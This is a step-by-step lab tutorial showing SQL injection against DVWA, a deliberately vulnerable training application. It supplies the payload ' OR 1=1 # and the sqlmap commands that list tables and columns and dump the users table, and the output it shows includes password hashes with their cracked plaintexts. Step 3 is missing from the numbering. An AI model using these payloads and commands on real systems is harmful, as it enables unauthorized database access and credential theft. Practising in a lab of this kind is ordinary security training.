

# SQL Injection on DVWA



**SQL injection** is a type of attack in which an attacker injects malicious code into a website's SQL statement and gains access to sensitive information or performs malicious actions on the database. This is typically done by manipulating input fields in a web application that is connected to a database, such as a login form or a search box, in such a way as to trick the application into executing unintended SQL commands



**SQL injection attacks can allow attackers to bypass authentication, access, modify, or delete sensitive data, or even execute commands on the operating system. They can also be used to create new user accounts with high privileges or to perform other malicious action**

“

*You should be on Kali Linux or Parrot OS in VMWARE, Virtual Box or running natively on your PC*

# Step-1

- ❖ Go to DVWA security settings and set the difficulty to low



The screenshot shows the DVWA Security settings page. On the left is a navigation menu with items like Home, Instructions, Setup / Reset DB, Brute Force, Command Injection, CSRF, File Inclusion, File Upload, Insecure CAPTCHA, SQL Injection, SQL Injection (Blind), Weak Session IDs, XSS (DOM), and XSS (Reflected). The main content area is titled "DVWA Security" with a lock icon. Below the title is the "Security Level" section, which states "Security level is currently: low." and provides instructions on how to change the level. A list of four levels is provided: 1. Low (completely vulnerable), 2. Medium (bad security practices), 3. High (harder or all practices), and 4. Impossible (secure against all vulnerabilities). At the bottom, a red box highlights a dropdown menu currently set to "Low" and a "Submit" button.

**DVWA Security** 

### Security Level

Security level is currently: **low**.

You can set the security level to low, medium, high or impossible. The security level changes the level of DVWA:

1. Low - This security level is completely vulnerable and **has no security measures at all**, as an example of how web application vulnerabilities manifest through bad coding practices as a platform to teach or learn basic exploitation techniques.
2. Medium - This setting is mainly to give an example to the user of **bad security practices** a developer has tried but failed to secure an application. It also acts as a challenge to user exploitation techniques.
3. High - This option is an extension to the medium difficulty, with a mixture of **harder or all practices** to attempt to secure the code. The vulnerability may not allow the same extent of exploitation, similar in various Capture The Flags (CTFs) competitions.
4. Impossible - This level should be **secure against all vulnerabilities**. It is used to compare source code to the secure source code.  
Prior to DVWA v1.9, this level was known as 'high'.

Low

## Step- 2

- ❖ if we put the following command in the box it will list down all information in the specific category

**Vulnerability: SQL Injection**

User ID:

```
ID: ' OR 1=1 #  
First name: admin  
Surname: admin  
  
ID: ' OR 1=1 #  
First name: Gordon  
Surname: Brown  
  
ID: ' OR 1=1 #  
First name: Hack  
Surname: Me  
  
ID: ' OR 1=1 #  
First name: Pablo  
Surname: Picasso  
  
ID: ' OR 1=1 #  
First name: Bob  
Surname: Smith
```



## Step- 4

- ❖ It will list all databases available. Now to get more information about the tables of a particular database, we can use the following command

```
>sqlmap -r req.txt -D dvwa --tables
```

```
—  
[02:35:51] [INFO] the back-end DBMS is MySQL  
web application technology: Nginx 1.22.1  
back-end DBMS: MySQL ≥ 5.0.12 (MariaDB fork)  
[02:35:51] [INFO] fetching tables for database: 'dvwa'  
[02:35:51] [WARNING] reflective value(s) found and filtering out  
Database: dvwa  
[2 tables]  
+-----+  
| guestbook |  
| users     |  
+-----+
```

## Step- 5

- ❖ You can get column information of tables with the following command

```
>sqlmap -r req.txt -D dvwa -T users --columns
```

```
Database: dvwa
Table: users
[8 columns]
+-----+-----+
| Column | Type |
+-----+-----+
| user   | varchar(15) |
| avatar | varchar(70) |
| failed_login | int(3) |
| first_name | varchar(15) |
| last_login | timestamp |
| last_name | varchar(15) |
| password | varchar(32) |
| user_id | int(6) |
+-----+-----+
```

## Step- 6

- ❖ Now we can dump information with the following command

```
>sqlmap -r req.txt -D dvwa -T users --dump-all
```

```
Database: dvwa
Table: users
[5 entries]
+-----+-----+-----+-----+-----+-----+-----+
| user_id | user      | avatar                | password                | last_name | first_name | last_login      | failed_login |
+-----+-----+-----+-----+-----+-----+-----+
| 1       | admin    | /hackable/users/admin.jpg | 5f4dcc3b5aa765d61d8327deb882cf99 (password) | admin    | admin    | 2023-01-01 02:10:06 | 0            |
| 2       | gordonb  | /hackable/users/gordonb.jpg | e99a18c428cb38d5f260853678922e03 (abc123) | Brown    | Gordon   | 2023-01-01 02:10:06 | 0            |
| 3       | 1337     | /hackable/users/1337.jpg   | 8d3533d75ae2c3966d7e0d4fcc69216b (charley) | Me       | Hack     | 2023-01-01 02:10:06 | 0            |
| 4       | pablo    | /hackable/users/pablo.jpg  | 0d107d09f5bbe40cade3de5c71e9e9b7 (letmein) | Picasso  | Pablo    | 2023-01-01 02:10:06 | 0            |
| 5       | smithy   | /hackable/users/smithy.jpg | 5f4dcc3b5aa765d61d8327deb882cf99 (password) | Smith    | Bob      | 2023-01-01 02:10:06 | 0            |
+-----+-----+-----+-----+-----+-----+-----+

```

**DEMO**



THANKS